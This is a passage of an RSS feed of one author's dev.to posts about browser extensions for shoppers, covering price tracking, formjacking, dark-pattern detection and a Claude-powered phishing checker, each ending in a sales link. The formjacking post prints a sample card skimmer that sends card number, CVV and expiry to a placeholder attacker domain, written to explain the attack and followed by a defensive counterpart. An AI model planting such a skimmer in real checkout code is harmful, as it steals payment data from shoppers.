The extension then renders that history as a sparkline on the product page. You don't need to open a separate tab or check an external site — the timeline appears inline, next to the current price, the moment you land on the page.&lt;br&gt;
Why the FTC's fines aren't enough&lt;br&gt;
The FTC's finalized rule on fake reviews allows fines up to $51,744 per violation. That sounds significant. For a mid-size retailer running 50,000 SKUs with dynamic reference prices on all of them, it's a rounding error in the legal budget.&lt;br&gt;
Regulatory enforcement operates on case-by-case investigation timelines. The manipulation operates on millisecond auction cycles. These things are not in the same ballpark. The only realistic consumer-side response is tooling that runs at the same speed as the systems being gamed.&lt;br&gt;
That's not an ideological position — it's just a latency problem.&lt;br&gt;
Putting it together&lt;br&gt;
None of the individual tricks here are particularly sophisticated. Fake reference prices, looping timers, drip pricing, and behavioural profiling are all well-documented, well-named, and — in most jurisdictions — technically illegal. What makes them persistent is the absence of any enforcement mechanism that operates at the speed and scale of the retail bots running them.&lt;br&gt;
A Chrome extension running on your machine does operate at that speed. It sees the same page you see, reads the same DOM, and can match patterns faster than you can scroll to the checkout button. You're not hacking anything — you're just reading the page more carefully than the site expects you to.&lt;/p&gt;

&lt;p&gt;Price History Tracker&lt;br&gt;
The extension that injects price history directly into product pages. See whether today's "discount" is genuine or manufactured — before you buy.&lt;br&gt;
For everyday shoppers: the extension is available on Gumroad.&lt;br&gt;
For developers: the full commercial source code — content script, storage logic, sparkline renderer, and deploy guide — is available if you want to build your own price monitoring tools or niche micro-SaaS.&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>webdev</category>
      <category>security</category>
      <category>javascript</category>
    </item>
    <item>
      <title>The Checkout Intercept: How Cybercriminals Steal Your Card Data Without Touching Your Phone</title>
      <dc:creator>carlos lopez</dc:creator>
      <pubDate>Sat, 27 Jun 2026 16:59:38 +0000</pubDate>
      <link>https://dev.to/carlos_lopez_e0907403c1b4/the-checkout-intercept-how-cybercriminals-steal-your-card-data-without-touching-your-phone-407i</link>
      <guid>https://dev.to/carlos_lopez_e0907403c1b4/the-checkout-intercept-how-cybercriminals-steal-your-card-data-without-touching-your-phone-407i</guid>
      <description>&lt;p&gt;The padlock icon in your browser's address bar does not mean your card is safe. That's the assumption most online shoppers carry — quietly, confidently — every time they type sixteen digits into a checkout form. It's also the assumption that a highly organised class of cybercriminals has spent the last decade building their entire business model around.&lt;br&gt;
The FTC's most recent consumer fraud report puts total losses to fraud at $15.9 billion, with credit cards as the most frequently reported payment method in those filings. The FBI's Internet Crime Complaint Center processes roughly 3,000 cybercrime complaints every single day. Those numbers don't come from sketchy websites with broken layouts and misspelled domain names. A significant portion of them come from completely normal purchases on completely legitimate stores.&lt;br&gt;
The technique responsible for a large share of that damage is called formjacking — also referred to as a Magecart attack when it involves organised criminal groups. Understanding how it works is the first step to not becoming one of those statistics.&lt;br&gt;
How your card gets cloned without anyone touching your device&lt;br&gt;
Formjacking doesn't require physical access to your phone or computer. It doesn't require a fake website. It doesn't even require you to click a suspicious link. The attack happens on the server side — specifically, inside the JavaScript that a legitimate retailer loads on its own checkout page.&lt;br&gt;
Here's what the attack looks like in simplified form:&lt;br&gt;
javascript// Malicious script injected into the retailer's checkout page&lt;br&gt;
// Runs silently alongside the store's legitimate payment code&lt;/p&gt;

&lt;p&gt;document.addEventListener('submit', function(e) {&lt;br&gt;
  const form = e.target;&lt;br&gt;
  const cardData = {&lt;br&gt;
    number: form.querySelector('[name="card_number"]').value,&lt;br&gt;
    expiry: form.querySelector('[name="expiry"]').value,&lt;br&gt;
    cvv:    form.querySelector('[name="cvv"]').value,&lt;br&gt;
    name:   form.querySelector('[name="card_name"]').value&lt;br&gt;
  };&lt;/p&gt;

&lt;p&gt;// Exfiltrate to attacker's server before the form submits&lt;br&gt;
  navigator.sendBeacon('&lt;a href="https://collect.evil-domain.com/c" rel="noopener noreferrer"&gt;https://collect.evil-domain.com/c&lt;/a&gt;', &lt;br&gt;
    JSON.stringify(cardData)&lt;br&gt;
  );&lt;/p&gt;

&lt;p&gt;// Allow normal submission to continue — store processes your order&lt;br&gt;
  // You receive your confirmation email. Nothing looks wrong.&lt;br&gt;
});&lt;br&gt;
The store processes your order. Your bank approves the charge. Your confirmation email arrives. The malicious script runs in the same fraction of a second, clones your card data, and sends it to a remote server you'll never know existed. You won't notice anything until fraudulent charges appear on your statement — sometimes days later, sometimes weeks.&lt;br&gt;
CISA's guidance on e-commerce skimming attacks documents how these injections typically reach legitimate stores: through compromised third-party plugins, outdated payment modules, or direct breaches of the retailer's own infrastructure. The store doesn't know the script is there. Their HTTPS certificate is valid. Their padlock is real. None of that protects your card data if the JavaScript running on the page has been tampered with.&lt;br&gt;
Three warning signs at checkout that most people ignore&lt;br&gt;
Formjacking is designed to be invisible, and in most cases it succeeds completely. But there are patterns that show up often enough to be worth knowing.&lt;br&gt;
The first is an unexpected redirect at the payment stage. You're navigating a well-designed store, reach checkout, and get sent to an unbranded or generic-looking payment page that doesn't share the original site's visual style. Legitimate payment processors do sometimes redirect — Stripe, PayPal, and others use hosted payment pages — but you should be able to verify the destination URL is the processor's own domain, not something assembled to look like one.&lt;br&gt;
The second is unusual form fields. A standard card transaction needs your card number, expiry date, CVV, and billing postcode. Nothing else. If a checkout form asks for your ATM PIN, social security number, or mother's maiden name, stop. No legitimate payment processor needs that information at point of sale.&lt;br&gt;
The third is a subtle timing issue: payment fields that flicker, lag, or render noticeably later than the rest of the page. This can happen when a rogue script loads after the page's main content and overwrites or duplicates the form fields it's targeting. It's not definitive — slow third-party scripts cause the same symptom legitimately — but it's worth noticing.&lt;br&gt;
Why your antivirus doesn't catch this&lt;br&gt;
Standard security software scans your device for local threats: files, executables, downloads. Formjacking doesn't involve any of those. The malicious code lives on the retailer's server and executes inside your browser as trusted JavaScript — because from your browser's perspective, it arrived from the same domain as the rest of the page.&lt;br&gt;
Your browser has no built-in mechanism to distinguish between JavaScript the retailer intentionally loaded and JavaScript an attacker inserted into the retailer's codebase three weeks ago. The HTTPS connection just means the data in transit is encrypted. It says nothing about what the JavaScript on the page is doing with that data before it gets sent anywhere.&lt;br&gt;
Detecting this class of attack requires monitoring what scripts are actually doing at runtime — specifically, whether any script is reading form field values and sending them to a domain that isn't the legitimate payment processor. That's a script-level problem and needs a script-level defense.&lt;br&gt;
javascript// What a checkout security extension monitors&lt;br&gt;
function auditCheckoutScripts() {&lt;br&gt;
  const scripts = performance.getEntriesByType('resource')&lt;br&gt;
    .filter(r =&amp;gt; r.initiatorType === 'script');&lt;/p&gt;

&lt;p&gt;const TRUSTED_DOMAINS = [&lt;br&gt;
    'js.stripe.com',&lt;br&gt;
    '&lt;a href="http://www.paypalobjects.com" rel="noopener noreferrer"&gt;www.paypalobjects.com&lt;/a&gt;',&lt;br&gt;
    'checkout.square.site',&lt;br&gt;
    'secure.checkout.visa.com'&lt;br&gt;
  ];&lt;/p&gt;

&lt;p&gt;return scripts.filter(s =&amp;gt; {&lt;br&gt;
    const domain = new URL(s.name).hostname;&lt;br&gt;
    return !TRUSTED_DOMAINS.some(d =&amp;gt; domain.endsWith(d));&lt;br&gt;
  });&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;// Watch for beacon/fetch calls from untrusted origins during form submission&lt;br&gt;
const originalSendBeacon = navigator.sendBeacon.bind(navigator);&lt;br&gt;
navigator.sendBeacon = function(url, data) {&lt;br&gt;
  if (!isTrustedPaymentEndpoint(url)) {&lt;br&gt;
    console.warn('[Shield] Suspicious beacon detected:', url);&lt;br&gt;
    return false; // Block exfiltration attempt&lt;br&gt;
  }&lt;br&gt;
  return originalSendBeacon(url, data);&lt;br&gt;
};&lt;br&gt;
This is roughly the logic behind what a checkout security extension does at the script level. It doesn't inspect your card number — it watches whether anything else on the page is trying to.&lt;br&gt;
If it's already happened: what to do in the right order&lt;br&gt;
Fraudulent charges from formjacking often appear days or weeks after the original purchase, which means most people don't immediately connect them to a specific transaction. If you spot unauthorised charges and suspect checkout fraud, the sequence matters.&lt;br&gt;
First, lock the card immediately through your bank's mobile app — don't wait on hold to speak to someone. Locking halts any pending authorisations while you investigate. Cancelling and reissuing comes after.&lt;br&gt;
Second, file a report with the relevant authority before you dispute with your bank. In the US, that's reportfraud.ftc.gov. In the UK, Action Fraud at actionfraud.police.uk. The report creates a paper trail that strengthens your dispute case.&lt;br&gt;
Third, use the word "chargeback" explicitly when you call your bank. Under the Fair Credit Billing Act in the US, your liability for unauthorised credit card charges is capped at $50 — and in practice most major card issuers set it at zero for fraud cases filed promptly. The word chargeback tells the fraud team which process to open; "I want to dispute a charge" can route you somewhere slower.&lt;br&gt;
Keep a record of every communication — dates, reference numbers, names. Banks resolve most of these in your favour when the documentation is clean.&lt;br&gt;
The structural problem with checkout security&lt;br&gt;
The deeper issue is that the responsibility for detecting compromised scripts currently sits entirely with the retailer. As a consumer, you have no visibility into the third-party code running on a checkout page. You can't see whether the payment form you're filling in has been modified since the retailer last audited it. You're trusting an infrastructure you can't inspect.&lt;br&gt;
The padlock tells you the connection is encrypted. It tells you nothing about the destination of your data once it's been read by the scripts on the page. Those are two different things, and the entire formjacking industry exists in the gap between them.&lt;br&gt;
Moving that monitoring to the browser side — where the consumer has control — is the only way to close that gap without depending on every retailer's security practices being perfect. Which, given that the FTC is processing $15.9 billion in annual fraud losses, they clearly are not.&lt;/p&gt;

&lt;p&gt;Checkout Security Shield&lt;br&gt;
A browser extension that monitors checkout pages for rogue scripts, unverified payment endpoints, and form field interception — in real time, before you hit submit.&lt;br&gt;
For shoppers: Get it on Gumroad →&lt;a href="https://carlosdevlop.gumroad.com/l/checkout-security-shield" rel="noopener noreferrer"&gt;https://carlosdevlop.gumroad.com/l/checkout-security-shield&lt;/a&gt;&lt;br&gt;
For developers: The full source code — script auditor, beacon interceptor, and form integrity checker — is available for commercial use.&lt;br&gt;
Get the source code &lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>I built a Chrome extension that catches every dark pattern trick on shopping sites. Here's exactly how.</title>
      <dc:creator>carlos lopez</dc:creator>
      <pubDate>Fri, 19 Jun 2026 21:08:32 +0000</pubDate>
      <link>https://dev.to/carlos_lopez_e0907403c1b4/i-built-a-chrome-extension-that-catches-every-dark-pattern-trick-on-shopping-sites-heres-exactly-9ef</link>
      <guid>https://dev.to/carlos_lopez_e0907403c1b4/i-built-a-chrome-extension-that-catches-every-dark-pattern-trick-on-shopping-sites-heres-exactly-9ef</guid>
      <description>&lt;p&gt;A few months ago I was about to buy a flight. The page showed "Only 2 seats left at this price" in red letters. I hesitated, then refreshed the page out of curiosity.&lt;/p&gt;

&lt;p&gt;The counter said "Only 2 seats left" again. Same number. It had been resetting on every page load the whole time.&lt;/p&gt;

&lt;p&gt;That's when I started cataloguing every trick I'd seen on shopping sites and built a Chrome extension that flags them automatically, in real time, on any page.&lt;/p&gt;

&lt;h2&gt;
  
  
  This isn't just my opinion — it's documented research
&lt;/h2&gt;

&lt;p&gt;In 2019, Princeton and University of Chicago researchers scraped 11,000 shopping sites and found dark patterns on more than 1,250 of them. The FTC has since fined several companies specifically for fake countdown timers and pre-checked subscription boxes. This isn't a grey area anymore — it's a known, studied, and increasingly regulated practice.&lt;/p&gt;

&lt;p&gt;The extension targets four categories that account for most of what's out there.&lt;/p&gt;

&lt;h2&gt;
  
  
  The four patterns
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Fake urgency.&lt;/strong&gt; Countdown timers that reset, "X people are viewing this" badges that never change, "only N left in stock" that's been static for a week.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trap checkboxes.&lt;/strong&gt; A checkbox for "Yes, sign me up for the newsletter" that's pre-checked and styled to blend into the page so you don't notice it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Confirmshaming.&lt;/strong&gt; The decline button reads "No thanks, I don't want to save money" instead of just "No thanks."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Psychological pricing.&lt;/strong&gt; Prices ending in .99 or .95 designed to register as a lower price bracket than they are.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why no AI this time
&lt;/h2&gt;

&lt;p&gt;My phishing detector used Claude because language and intent are genuinely ambiguous — you need a model that understands context. Dark patterns are different. They're structural. A countdown timer either resets on reload or it doesn't. A checkbox is either pre-checked or it isn't. That's a DOM query, not a judgment call.&lt;/p&gt;

&lt;p&gt;So this one runs entirely on regex and DOM inspection. No API calls, no latency, no cost per scan, works offline. Sometimes the boring solution is the correct one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detecting the urgency pattern
&lt;/h2&gt;

&lt;p&gt;The core check looks for known urgency phrases and cross-references them against actual page state:&lt;/p&gt;

&lt;p&gt;const URGENCY_PHRASES = [&lt;br&gt;
  /only \d+ left/i,&lt;br&gt;
  /\d+ people (are )?(viewing|watching)/i,&lt;br&gt;
  /offer ends in/i,&lt;br&gt;
  /flash sale/i,&lt;br&gt;
  /limited time/i&lt;br&gt;
];&lt;/p&gt;

&lt;p&gt;function isLikelyFake(element) {&lt;br&gt;
  const text = element.textContent;&lt;br&gt;
  const matchesPattern = URGENCY_PHRASES.some(p =&amp;gt; p.test(text));&lt;br&gt;
  if (!matchesPattern) return false;&lt;/p&gt;

&lt;p&gt;// Countdown timers that are actually fake almost always&lt;br&gt;
  // reset to the same value across page loads — checked via&lt;br&gt;
  // localStorage comparison against the previous visit&lt;br&gt;
  const stored = localStorage.getItem('dpd_seen_' + location.pathname);&lt;br&gt;
  const isStatic = stored === text;&lt;br&gt;
  localStorage.setItem('dpd_seen_' + location.pathname, text);&lt;/p&gt;

&lt;p&gt;return matchesPattern &amp;amp;&amp;amp; isStatic;&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;The trick isn't the regex — it's storing what you saw on the last visit and comparing. A genuine "3 left in stock" notice changes over time. A fake one doesn't.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detecting trap checkboxes
&lt;/h2&gt;

&lt;p&gt;This one's simpler — just check if a checkbox tied to subscription/marketing language defaults to checked:&lt;/p&gt;

&lt;p&gt;const TRAP_KEYWORDS = /newsletter|subscribe|offers|insurance|protection plan/i;&lt;/p&gt;

&lt;p&gt;function findTrapCheckboxes() {&lt;br&gt;
  return [...document.querySelectorAll('input[type="checkbox"]')]&lt;br&gt;
    .filter(cb =&amp;gt; cb.checked &amp;amp;&amp;amp; TRAP_KEYWORDS.test(getLabelText(cb)));&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;The hard part isn't the logic, it's getLabelText() — checkbox labels are wrapped, nested, or associated via for= attributes in about six different inconsistent ways depending on the site. That function ended up being three times longer than the detection logic itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Marking it on the page
&lt;/h2&gt;

&lt;p&gt;Detection is half the work. The other half is surfacing it without breaking the page layout:&lt;/p&gt;

&lt;p&gt;function markElement(el, label) {&lt;br&gt;
  const badge = document.createElement('span');&lt;br&gt;
  badge.textContent = '⚠ ' + label;&lt;br&gt;
  badge.style.cssText = &lt;code&gt;&lt;br&gt;
    position: absolute; background: #ef4444; color: white;&lt;br&gt;
    font-size: 11px; padding: 2px 8px; border-radius: 10px;&lt;br&gt;
    z-index: 999999; pointer-events: none;&lt;br&gt;
&lt;/code&gt;;&lt;br&gt;
  el.style.position = 'relative';&lt;br&gt;
  el.appendChild(badge);&lt;br&gt;
}&lt;/p&gt;

&lt;h2&gt;
  
  
  Catching dynamically injected patterns
&lt;/h2&gt;

&lt;p&gt;Plenty of these patterns get injected after the initial page load — countdown widgets, exit-intent popups with fake scarcity. A one-time scan on page load misses them.&lt;/p&gt;

&lt;p&gt;const observer = new MutationObserver(() =&amp;gt; scanPage());&lt;br&gt;
observer.observe(document.body, { childList: true, subtree: true });&lt;/p&gt;

&lt;p&gt;This runs the same detection logic on every DOM mutation, debounced to avoid hammering the page on sites with constant re-renders (looking at you, infinite scroll feeds).&lt;/p&gt;

&lt;h2&gt;
  
  
  Results
&lt;/h2&gt;

&lt;p&gt;I ran it against 30 ecommerce sites I had open in old tabs — a mix of fast fashion, flight booking, and a few subscription services. It flagged something on 19 of them. Two false positives: a genuinely real "low stock" indicator on a small print-on-demand shop, and a checkbox for "remember me" that the keyword filter misread as marketing consent.&lt;/p&gt;

&lt;p&gt;Everything else held up. The fake countdown timers in particular were depressingly consistent — same number, every single reload.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Is this legal to build and use?&lt;/strong&gt;&lt;br&gt;
Yes. You're reading and analyzing the public DOM of a page you're voluntarily visiting in your own browser. No data leaves your machine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does it slow down the pages I visit?&lt;/strong&gt;&lt;br&gt;
Not noticeably. The regex checks are cheap and the MutationObserver is debounced.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can I use this in a commercial product?&lt;/strong&gt;&lt;br&gt;
The source is MIT licensed in the free version. Build on it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why not just block the patterns instead of flagging them?&lt;/strong&gt;&lt;br&gt;
Some checkboxes are legitimately useful (extended warranty you actually want). The goal is informed choice, not removing functionality you might want.&lt;/p&gt;




&lt;p&gt;Full source code: &lt;a href="https://carlosdevlop.gumroad.com/l/dark-patterns-detector" rel="noopener noreferrer"&gt;https://carlosdevlop.gumroad.com/l/dark-patterns-detector&lt;/a&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webdev</category>
      <category>security</category>
      <category>opensource</category>
    </item>
    <item>
      <title>I built a phishing detector into Chrome using Claude AI. Here's exactly how.</title>
      <dc:creator>carlos lopez</dc:creator>
      <pubDate>Wed, 17 Jun 2026 14:15:23 +0000</pubDate>
      <link>https://dev.to/carlos_lopez_e0907403c1b4/i-built-a-phishing-detector-into-chrome-using-claude-ai-heres-exactly-how-2d6c</link>
      <guid>https://dev.to/carlos_lopez_e0907403c1b4/i-built-a-phishing-detector-into-chrome-using-claude-ai-heres-exactly-how-2d6c</guid>
      <description>&lt;p&gt;My mother called me last week. Someone had sent her an SMS &lt;br&gt;
claiming to be from DHL, asking her to pay a £2.99 customs &lt;br&gt;
fee via a link. She almost clicked it.&lt;/p&gt;

&lt;p&gt;That was enough. I spent a weekend building a Chrome extension &lt;br&gt;
that lets you paste any suspicious message and get an instant &lt;br&gt;
verdict. Here's how it works.&lt;/p&gt;

&lt;h2&gt;
  
  
  The architecture (and why Cloudflare Workers)
&lt;/h2&gt;

&lt;p&gt;The obvious approach is to call the Claude API directly from &lt;br&gt;
the extension. Don't do this. Your API key lives in the &lt;br&gt;
extension code, which anyone can extract from the Chrome Web &lt;br&gt;
Store in about 30 seconds.&lt;/p&gt;

&lt;p&gt;The right pattern: extension → Cloudflare Worker → Claude API. &lt;br&gt;
The Worker lives server-side, holds the API key as an &lt;br&gt;
environment variable, and acts as a proxy. Cloudflare's free &lt;br&gt;
tier handles 100,000 requests/day, which is more than enough.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Worker
&lt;/h2&gt;

&lt;p&gt;export default {&lt;br&gt;
  async fetch(request, env) {&lt;br&gt;
    const { prompt } = await request.json();&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const response = await fetch('https://api.anthropic.com/v1/messages', {
  method: 'POST',
  headers: {
    'x-api-key': env.ANTHROPIC_API_KEY,
    'anthropic-version': '2023-06-01',
    'content-type': 'application/json'
  },
  body: JSON.stringify({
    model: 'claude-haiku-4-5-20251001',
    max_tokens: 350,
    messages: [{ role: 'user', content: prompt }]
  })
});

return response;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;}&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;I'm using Haiku, not Opus. For a classification task like &lt;br&gt;
this — is this phishing or not — Haiku is faster, 10x cheaper, &lt;br&gt;
and gets the same result. Opus is overkill.&lt;/p&gt;

&lt;h2&gt;
  
  
  The prompt
&lt;/h2&gt;

&lt;p&gt;After a dozen iterations, this is what actually works:&lt;/p&gt;

&lt;p&gt;"You are an expert cybersecurity analyst specializing in &lt;br&gt;
phishing detection. Analyze the following message and &lt;br&gt;
determine if it is PHISHING, SUSPICIOUS, or LEGITIMATE.&lt;/p&gt;

&lt;p&gt;Pay special attention to impersonation of financial &lt;br&gt;
institutions (PayPal, Chase, Barclays), government agencies &lt;br&gt;
(IRS, HMRC, DVLA), delivery services (UPS, FedEx, Royal Mail) &lt;br&gt;
and major tech companies (Amazon, Apple, Microsoft, Netflix).&lt;/p&gt;

&lt;p&gt;Respond ONLY in this format:&lt;br&gt;
VERDICT: [PHISHING / SUSPICIOUS / LEGITIMATE]&lt;br&gt;
CONFIDENCE: [High / Medium / Low]&lt;br&gt;
SIGNALS: [comma-separated list, max 4]&lt;br&gt;
ADVICE: [one clear action sentence]"&lt;/p&gt;

&lt;p&gt;One thing worth knowing: parse only the VERDICT line, &lt;br&gt;
not the whole response. Otherwise txt.includes("PHISHING") &lt;br&gt;
will always return true because the word appears in the &lt;br&gt;
template itself.&lt;/p&gt;

&lt;p&gt;const verdictLine = txt.split('\n')&lt;br&gt;
  .find(l =&amp;gt; l.startsWith('VERDICT:')) || '';&lt;br&gt;
const isPhishing = verdictLine.includes('PHISHING');&lt;/p&gt;

&lt;p&gt;Obvious in hindsight. Took me longer than I'd like to admit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Results
&lt;/h2&gt;

&lt;p&gt;Tested against 50 real phishing attempts. Claude got 48 right. &lt;br&gt;
The two it missed were unusually well-crafted — &lt;br&gt;
legitimate-looking domains with no obvious red flags. &lt;br&gt;
For anything with a suspicious link or an urgency pattern, &lt;br&gt;
it's essentially perfect.&lt;/p&gt;




&lt;p&gt;If you want the full source code — extension, Worker, and &lt;br&gt;
deploy instructions — I packaged it here: &lt;a href="https://carlosdevlop.gumroad.com/l/ai-phishing-detector-bundle" rel="noopener noreferrer"&gt;https://carlosdevlop.gumroad.com/l/ai-phishing-detector-bundle&lt;/a&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>security</category>
      <category>ai</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
